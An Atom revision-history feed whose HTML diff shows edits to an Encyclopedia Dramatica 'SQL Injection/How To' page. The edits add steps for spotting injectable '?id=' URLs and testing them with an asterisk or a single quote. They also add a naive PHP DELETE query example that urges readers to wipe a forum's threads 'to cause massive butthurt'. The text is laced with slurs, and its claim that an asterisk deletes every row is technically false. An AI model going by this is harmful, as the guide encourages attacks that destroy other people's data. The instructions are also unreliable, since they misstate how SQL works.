<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://edramatica.com/index.php?action=history&amp;feed=atom&amp;title=SQL_Injection%2FHow_To</id>
	<title>SQL Injection/How To - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://edramatica.com/index.php?action=history&amp;feed=atom&amp;title=SQL_Injection%2FHow_To"/>
	<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;action=history"/>
	<updated>2026-05-02T09:09:30Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.44.2</generator>
	<entry>
		<id>https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=34455&amp;oldid=prev</id>
		<title>imported&gt;NeverEnoughLulz at 17:15, 29 November 2021</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=34455&amp;oldid=prev"/>
		<updated>2021-11-29T17:15:26Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 17:15, 29 November 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l4&quot;&gt;Line 4:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 4:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Image:Placecathere.jpg|right|thumb|200px|Follow instructions, plzkthx]]&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Image:Placecathere.jpg|right|thumb|200px|Follow instructions, plzkthx]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Hopefully [[you]] can do a better job than those [[Lulzsec]] [[faggot]]s.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==What do you need==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==What do you need==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-added&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Any web browser.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Any web browser.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l19&quot;&gt;Line 19:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 20:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==What If There Are No Input Pages==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==What If There Are No Input Pages==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;You should look for pages like ASP, JSP, CGI, or PHP web pages. &lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Try to look especially for URL that takes parameters, like&lt;/del&gt;:&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;You should look for pages like ASP, JSP, CGI, or PHP web pages. &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;This means&lt;/ins&gt;:&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;* Any files ending in &quot;.asp/.aspx&quot;.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;* Any files ending in &quot;.jsp/.jspa&quot;.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;* Any files ending in &quot;.cgi&quot;.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;* Any files ending in &quot;.php&quot;.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Try to look especially for URL that takes parameters, like:&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;http://anonym.to/http://duck/index.asp?id=10&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;http://anonym.to/http://duck/index.asp?id=10&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;OR&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;http://anonym.to/http://stupidforum.com/delete_thread.php?id=1216&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Long story short (because the long explanation is too hard for anyone who isn&#039;t a [[retard]] to get), anything with a &quot;?id&quot; or &quot;?&amp;lt;parameter_name&amp;gt;&quot; equaling a number (?id=1) is your first clue that it&#039;s vulnerable.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==How Do You Test If It Is Vulnerable?==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==How Do You Test If It Is Vulnerable?==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Start &lt;/del&gt;with a single quote trick. Input something like:&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;There are many ways to do this. The first way is to replace whatever value is in the &quot;?&quot; bit of the URL with an asterisk. (The asterisk just means &quot;Select everything from this table [[kthx]]&quot;.)&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;For example:&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;code&amp;gt;anonym.to/http://stupidforum.com/delete_thread.php?id=1216&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;anonym.to/http://stupidforum.com/delete_thread.php?id=*.&amp;lt;/code&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Assuming the admin of the forum was [[retard]]ed enough to code like this:&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;code&amp;gt;$query = &quot;DELETE FROM threads WHERE id = &#039;id&#039;&quot;;&amp;lt;/code&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;and [[Fail|didn&#039;t bother checking if you were a staff member]], what you get is THIS:&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;code&amp;gt;$query = &quot;DELETE FROM THREADS WHERE id = &#039;*&#039;&quot;&amp;lt;/code&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;which just means &quot;[[DELETE FUCKING EVERYTHING|Delete every single thread from the threads table]], [[kthx]].&quot;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;A [[Epic win|fantastic way]] to cause massive [[butthurt]] to everyone involved because the admin was too fucking [[lazy]].&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;The second way is a little trickier. Look here, and start &lt;/ins&gt;with a single quote trick. Input something like:&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
